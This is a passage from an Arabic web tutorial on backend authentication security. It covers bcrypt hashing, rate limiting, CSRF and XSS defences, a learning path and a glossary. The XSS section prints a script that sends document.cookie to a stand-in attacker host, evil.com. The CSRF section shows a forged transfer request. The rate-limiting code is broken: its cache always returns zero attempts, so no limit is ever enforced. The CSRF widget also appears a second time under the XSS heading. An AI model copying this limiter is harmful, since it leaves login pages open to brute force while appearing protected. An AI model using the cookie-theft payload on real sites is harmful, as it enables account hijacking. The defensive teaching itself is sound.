db.save_password(username, hash)

✅ الممارسة الصحيحة:

python
# bcrypt (تجزئة تكيفية، تجزئة بطيئة لمنع هجمات القوة العمياء)
import bcrypt

password_hash = bcrypt.hashpw(
    password.encode('utf-8'),
    bcrypt.gensalt(rounds=12)  # كلما زادت rounds زاد الأمان، ولكن أيضاً تزداد البطء
)

# التحقق
if bcrypt.checkpw(password.encode('utf-8'), password_hash):
    # كلمة المرور صحيحة

لماذا bcrypt؟

  • بطيء: مصمم عمداً ليكون بطيئاً (بالميلي ثانية)، لمنع هجمات القوة العمياء.
  • تكيفي: يمكن تعديل rounds، ليزداد قوة مع تطور العتاد.
  • مملح (Salted): يحتوي على ملح عشوائي مدمج، لمنع جداول قوس قزح.
🔐 Password Storage: Hash + Salt + Slow
See how PBKDF2, used here as a slow-hash demo, resists rainbow tables and brute force. Real projects usually choose bcrypt or Argon2.
Input
Higher values are slower and raise brute-force cost, but also slow down login.
salt
Output (simulation)
Algorithm: PBKDF2-SHA256Time: 0ms
derived key (hex)
(enter a password)
Conclusion
Do not store plaintext passwords. Do not use fast unsalted hashes such as MD5, SHA1, or direct SHA256 for passwords. Use a dedicated password hash or KDF with cost and salt.
🌈 Why Rainbow Tables Fail: Same Password + Different Salt → Different Result
salt A
hash A
-
salt B
hash B
-
Rainbow tables rely on precomputation. If the same password always produced the same hash, attackers could look it up quickly. Salt makes precomputation explode in cost.

5.2 منع هجمات القوة العمياء ​

  • تحديد المعدل: نفس IP / اسم المستخدم، يمكنه المحاولة 5 مرات فقط في الدقيقة.
  • رمز التحقق (CAPTCHA): بعد 3 محاولات فاشلة، يطلب إدخال رمز التحقق.
  • قفل الحساب: بعد 10 محاولات فاشلة، يتم قفل الحساب لمدة 30 دقيقة.
python
from functools import lru_cache
import time

@lru_cache(maxsize=10000)
def get_login_attempts(identifier: str) -> tuple:
    """يعيد (عدد المحاولات, وقت أول محاولة)"""
    return (0, 0)

def check_rate_limit(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    now = time.time()

    # إعادة التعيين بعد دقيقة واحدة
    if now - first_attempt > 60:
        get_login_attempts.cache_clear()
        return True

    # أكثر من 5 مرات، رفض
    if attempts >= 5:
        return False

    return True

def record_login_attempt(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    if attempts == 0:
        first_attempt = time.time()
    get_login_attempts.cache_clear()
    get_login_attempts(identifier)  # إعادة التخزين المؤقت

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]

    # التحقق من تحديد المعدل
    if not check_rate_limit(username):
        return {"error": "محاولات كثيرة جداً، يرجى المحاولة بعد دقيقة واحدة"}, 429

    password = request.json["password"]

    # التحقق من كلمة المرور
    user = db.get_user_by_username(username)
    if user and bcrypt.checkpw(password.encode(), user.password_hash.encode()):
        # تسجيل دخول ناجح، مسح العداد
        get_login_attempts.cache_clear()
        return {"token": generate_token(user)}
    else:
        # فشل تسجيل الدخول، تسجيل المحاولة
        record_login_attempt(username)
        return {"error": "اسم المستخدم أو كلمة المرور غير صحيحة"}, 401

5.3 منع CSRF (Cross-Site Request Forgery) ​

سيناريو الهجوم: قمت بتسجيل الدخول إلى موقع البنك bank.com، ثم قمت بزيارة موقع خبيث evil.com. يحتوي موقع evil.com على كود:

html
<img src="https://bank.com/api/transfer?to=attacker&amount=10000" />

سيقوم متصفحك بإرفاق Cookie الخاص بالبنك مع هذا الطلب (طلب عبر النطاقات)، مما يؤدي إلى سرقة الأموال.

إجراءات الدفاع:

  1. CSRF Token:
    • يقوم الخادم بإنشاء Token عشوائي ووضعه في النموذج.
    • التحقق من تطابق Token عند الإرسال.
python
from flask import session

@app.route("/api/transfer", methods=["POST"])
def transfer():
    # التحقق من CSRF Token
    token = request.headers.get("X-CSRF-Token")
    if token != session.get("csrf_token"):
        return {"error": "CSRF Token غير صالح"}, 403

    # تنفيذ التحويل
    ...
  1. SameSite Cookie:
    • تعيين خاصية SameSite لـ Cookie إلى Strict أو Lax.
python
# مثال Flask
app.config.update(
    SESSION_COOKIE_SAMESITE='Lax',  # أو 'Strict'
    SESSION_COOKIE_SECURE=True      # السماح بـ HTTPS فقط
)
  1. استخدام JWT (بدون Cookie):
    • JWT مخزن في localStorage، ولا يتم إرفاقه تلقائياً، مما يمنع CSRF بشكل طبيعي.
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

5.4 منع XSS (Cross-Site Scripting) ​

سيناريو الهجوم: يقوم مستخدم خبيث بإدخال التعليق التالي:

html
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

إذا قام الموقع بعرض هذا المحتوى مباشرة، فسيتم سرقة Cookie الخاص بالمستخدمين الآخرين.

إجراءات الدفاع:

  1. تهريب المخرجات (Output Escaping):
    • تحويل < إلى &lt;، و > إلى &gt;.
python
import html

def render_comment(comment):
    # تهريب HTML
    safe_comment = html.escape(comment)
    return f"<div class='comment'>{safe_comment}</div>"
  1. Content Security Policy (CSP):
    • تعيين رأس HTTP، لتقييد مصادر السكربتات.
http
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
  1. HttpOnly Cookie:
    • تعيين خاصية HttpOnly لـ Cookie، بحيث لا يمكن لـ JavaScript قراءتها.
python
app.config.update(
    SESSION_COOKIE_HTTPONLY=True
)
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

6. الملخص ومسار التعلم ​

المصادقة هي "المهارة الأساسية" للأنظمة الخلفية، وإتقانها هو ما يمكنك من بناء تطبيقات آمنة وموثوقة.

6.1 نقاط المعرفة الأساسية ​

نقطة المعرفةدرجة الأهميةالصعوبةتكرار الاستخدام العملي
Session + Cookie⭐⭐⭐⭐متوسطةعالية
JWT⭐⭐⭐⭐⭐منخفضةعالية جداً
OAuth 2.0⭐⭐⭐⭐عاليةعالية
تجزئة كلمة المرور (bcrypt)⭐⭐⭐⭐⭐منخفضةعالية جداً
تحديد المعدل ومنع القوة العمياء⭐⭐⭐⭐⭐متوسطةعالية جداً
الدفاع ضد CSRF⭐⭐⭐⭐متوسطةمتوسطة
الدفاع ضد XSS⭐⭐⭐⭐منخفضةعالية

6.2 مسار التعلم ​

  1. المبتدئ (1-2 يوم):

    • فهم المصادقة مقابل الترخيص.
    • إتقان مبدأ Session + Cookie.
    • تنفيذ وظيفة تسجيل دخول وتسجيل بسيطة.
  2. المتوسط (أسبوع واحد):

    • تعلم مبدأ وتنفيذ JWT.
    • تنفيذ نظام مصادقة مبني على JWT.
    • إتقان تجزئة كلمة المرور (bcrypt).
  3. التطبيقي (2-4 أسابيع):

    • تكامل OAuth 2.0 (تسجيل الدخول بـ WeChat، Google).
    • تنفيذ تحديد المعدل ومنع هجمات القوة العمياء.
    • الدفاع ضد هجمات CSRF و XSS وغيرها من الهجمات الشائعة.
  4. المتعمق (مستمر):

    • تعلم RBAC (التحكم في الوصول المبني على الأدوار).
    • دراسة SSO (تسجيل الدخول الموحد).
    • استكشاف Zero Trust Architecture (معمارية الثقة الصفرية).

6.3 الموارد الموصى بها ​

  • المعايير:
    • RFC 6749 (OAuth 2.0)
    • RFC 7519 (JWT)
  • المقالات:
    • JWT.io: https://jwt.io/
    • OAuth 2.0 النسخة الصينية المبسطة: https://oauth.net/2/
  • الأدوات:
    • jwt.io (تصحيح JWT عبر الإنترنت)
    • Postman (اختبار API)

7. جدول المصطلحات (Glossary) ​

المصطلحالاسم الكاملالشرح
AuthNAuthenticationالمصادقة. التحقق من "من أنت" (مثل التحقق من الهوية بإدخال كلمة المرور).
AuthZAuthorizationالترخيص. التحقق من "ماذا يمكنك أن تفعل" (مثل المسؤول فقط يمكنه الحذف).
Session-الجلسة. معلومات حالة المستخدم المخزنة في الخادم.
Cookie-ملف تعريف الارتباط. بيانات صغيرة يخزنها المتصفح، يتم إرفاقها تلقائياً مع كل طلب.
JWTJSON Web Tokenرمز JSON Web. حل مصادقة بدون حالة، يتكون من ثلاثة أجزاء: Header و Payload و Signature.
OAuth 2.0-التفويض المفتوح. إطار عمل موحد لتسجيل الدخول عبر الطرف الثالث (مثل "تسجيل الدخول بـ WeChat").
SSOSingle Sign-Onتسجيل الدخول الموحد. تسجيل دخول مرة واحدة للوصول إلى تطبيقات متعددة (مثل حساب Google لجميع خدمات Google).
RBACRole-Based Access Controlالتحكم في الوصول المبني على الأدوار. تحديد الصلاحيات بناءً على دور المستخدم (مثل admin، user).
CSRFCross-Site Request Forgeryتزوير الطلبات عبر المواقع. يقوم المهاجم بخداع المستخدم لإرسال طلبات خبيثة (مثل استخدام Cookie الخاص بك للتحويل).
XSSCross-Site Scriptingهجمات السكربتات عبر المواقع. يقوم المهاجم بحقن سكربتات خبيثة في صفحة الويب (مثل سرقة Cookie).
bcrypt-خوارزمية تجزئة كلمة المرور. خوارزمية تجزئة بطيئة، مصممة خصيصاً لتخزين كلمة المرور ومنع هجمات القوة العمياء.
Access Token-رمز الوصول. رمز قصير الصلاحية، يستخدم للوصول إلى API.
Refresh Token-رمز التحديث. رمز طويل الصلاحية، يستخدم للحصول على Access Token جديد.
Scope-نطاق الصلاحية. مفهوم في OAuth 2.0، يمثل الصلاحيات التي يطلبها تطبيق الطرف الثالث (مثل قراءة معلومات المستخدم).
PKCEProof Key for Code Exchangeمفتاح إثبات تبادل رمز الترخيص. امتداد لـ OAuth 2.0، لتعزيز أمان العملاء العامين (مثل SPA).
Edit this page on GitHub
Pager
الصفحة السابقةالتسلسل: "ترجمة" البيانات
الصفحة التاليةالتزامن، غير المتزامن، وتعدد الخيوط

京ICP备2026002630号-1 | 京公网安备11010602202215号

本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议(CC BY-NC-SA 4.0) 进行许可